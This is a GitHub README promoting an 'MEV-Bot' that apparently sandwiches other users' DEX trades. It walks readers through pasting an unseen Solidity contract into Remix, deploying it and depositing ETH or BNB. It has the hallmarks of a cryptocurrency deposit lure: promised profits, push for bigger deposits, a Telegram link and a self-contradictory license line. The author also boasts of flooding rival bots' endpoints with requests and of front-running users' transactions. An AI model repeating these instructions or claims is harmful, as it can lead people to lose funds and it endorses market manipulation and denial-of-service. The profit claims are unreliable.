Skip to content

Latest commit

 

History

History
104 lines (70 loc) · 7.81 KB

README.md

File metadata and controls

104 lines (70 loc) · 7.81 KB

MEV-Bot

**MEV, or Miner Extractable Value, is a term used in the context of blockchain technology and cryptocurrencies that describes the potential profit a miner can extract from certain transactions or actions within the blockchain.

MevBot is an effective tool for working with blockchain, operating 24/7. Its task is to scan the transaction pool and quickly respond to changes, buying before transactions and selling after, in order to generate profit.**

UPDATE 08.09.2023

The code underwent revision to enhance the speed with approximately a 60% improvement. Currently, the emission of both BUY and SELL TX's on the Blockchain takes around 0.3 seconds, significantly increasing the likelihood of successful trades.

PREFACE

Checking the TX's found on MemPool to avoid Gas Fees to be paid without an actual profit. Added Pause function to avoid starting all over the Scan Process. We have received numerous reports from customers regarding delays encountered during their BUY/SELL actions with the bot. To ensure smooth operations, we kindly request that you initiate your transactions with a minimum of 0.5 BNB on the BSC Chain, and 0.8 ETH on the ETH Chain. Please be aware that recent Gas Fees spikes, such as those made by PEPE Hype, have significantly increased transaction costs. To incorporate the necessary updates, we recommend deploying the new contract and commencing operations with the recommended minimum amounts. It's worth noting that the best return on investment (ROI) can be achieved by starting with 1.5 ETH on the ETH Chain or 5 BNB on the BSC Chain.

MEVBOT-Sandwich-Trades

In July 2023, I updated the mempool settings for my MEV-bots on Uniswap v3 and BSC v1/2. Originally, I never intended to share the code with anyone as it was only meant for "testing in production" and I made several tradeoffs in terms of quality. I was afraid of "leaking my alpha". However, I want to showcase what I've learned over the years.

One of my bots sends transactions and sniffs the Uniswap v2 mempool, competing with other bots to quickly buy up tokens on-chain and creating profitable slippage opportunities. This bot performs faster than 99% of other bots, even those that are open source.

I have a list of target endpoints that I can flood with requests to gain an edge over other bots by making them lose up to 5 seconds of reaction time. This is a personal journey for me, and I've learned a lot about MEV, frontrunning, EIP-1559, "The Dark Forest", and other ways to exploit web2 architectures.

I've made some profits from this, but I'm now using better commercial methods and want to share what I've learned so other developers don't have to go through the same pains.

Advantages

  • Responsiveness and accuracy: MevBot quickly analyzes the transaction pool and instantly responds to changes.
  • Ease of use: We have made MevBot convenient and understandable to use, making it accessible even for beginners.
  • Profitability: MevBot increases your profit by buying before and selling after transactions, allowing you to optimize your blockchain investments.
  • Operates round the clock: MevBot operates 24/7, providing continuous scanning and response to transactions.
  • Security: MevBot was developed with high security standards in mind, guaranteeing the reliability of your transactions.
  • Mempool Scanning: MEVBOT continuously analyzes the mempool, identifying unconfirmed but potentially profitable transactions.
  • Buying & Selling Strategy: MEVBOT automatically buys tokens ahead of the confirmation of a profitable transaction and sells them right after the confirmation.
  • Individual Contracts: Each MEVBOT contract is created individually for each user. This ensures maximum security as no one but you has direct access to your wallet.
  • Autonomous Usage: Once created, MEVBOT is entirely under your control. You decide when and how to launch your bot to start scanning the mempool and carrying out buying and selling operations.

MEVBOT is your personalized assistant in the world of cryptocurrencies, tirelessly working to help you get the maximum return on your investments.

Platform Comparison

UPD: Mempool Scan Time

Platform Router Address Network Mempool Scan Time
Pancakeswap 0x10ED43C718714eb63d5aA57B78B54704E256024E BSC 0.53 sec
Uniswap 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ETH 0.22 sec

How to Use MEVBot (Exemple)

Make money with MevBot (ETH network/BSC Network)

Some examples:

image

You can see an example of how the bot works. The bot will make transactions on your entire balance to increase profit

The bot only works with the main network.

Step 1: Access the Source Code

  1. Navigate to the Remix IDE: https://remix.ethereum.org/
  2. Create a new file "MevBot.sol".
  3. Copy this code and paste it into the Remix IDE.

Step 2: Compile the Code

  1. Select the Solidity compiler 0.6.12.
  2. Click 'Compile MevBot.sol'.

image

Step 3: Choose the Network

  1. Select ETH or BSC(BNB) network and router address
  2. Copy and paste the router above shown on the table depending on the network selected.

Ethereum: Uniswap V2's router address: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D SushiSwap's router address: 0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f

Binance Smart Chain: PancakeSwap's router address: 0x10ED43C718714eb63d5aA57B78B54704E256024E

NETWORKID: Type 0 FOR 'ETH' and 1 FOR 'BSC'. The router addresses mentioned above are for tracking trades on decentralized exchanges (DEXs). ROUTERADDRESS: COPY/PASTE one of the above Routers that we currently Support.

image

Step 4: Deploy the Code

  1. Press Transact (Deploy) Next-deposit (balans Mev Bot)

Step 5: Deposit into MEVBot - Recommended deposits: ETH - 0.5-10 ETH / BSC - 3-5 BNB

  1. Copy your MEV contract and send an amount of Ethereum for the bot's operation.
  2. Start by pressing the LoadMEVBOT button

image

Note: For successful transactions on the Ethereum network, you must have sufficient balance to cover the gas fees. We recommend a minimum of 1.2 - 3 ETH - 3 BNB. The bot uses a small portion of its resources to pay for gas. In order to prioritize the transaction, it increases the gas price of the attacked transaction.

Wait a couple of days for a profit. For successful transactions on the Ethereum network/BSC, you must have enough balance to cover the gas.

How to Withdraw Funds

At any time you can "Stop" bot or return your money by calling the "Withdrawal" function - WITHDRAWS ONLY NATIVE COINS - BSC AND ETH - DO NOT SEND OTHER TOKENS - USDT/USDC/TUSD/etc to the BOT!

UPD: If you have closed the Remix IDE website or accidentally rebooted your computer, you can still access all the bot's functions through Etherscan You will need to verify the bot contract on Etherscan, and you will have access to the same functions as you would through the Remix IDE website.

Telegram

Join telegram group for more update https://t.me/mevbot_eth_bsc

Copyright (C) 2023

This program is free software: you can redistribute and/or modify it under the terms of the MIT Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.